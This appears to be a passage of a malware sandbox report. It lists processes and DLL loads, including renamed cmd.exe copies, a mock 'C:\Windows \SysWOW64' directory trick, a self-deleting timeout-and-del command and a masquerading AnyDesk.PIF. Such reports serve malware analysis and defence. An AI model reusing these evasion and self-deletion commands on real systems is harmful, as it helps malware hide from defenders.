            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64" Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif" Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \" Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif"
            Source: C:\Users\Public\alpha.pifProcess created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pif
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pif
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
            Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: cabinet.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: cabinet.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\extrac32.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: certcli.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: cabinet.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: cryptui.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: ntdsapi.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: certca.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: samcli.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: logoncli.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: dsrole.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: certcli.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: cabinet.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: cryptui.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: certca.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: ntdsapi.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: samcli.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: logoncli.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: dsrole.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Users\Public\kn.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: version.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
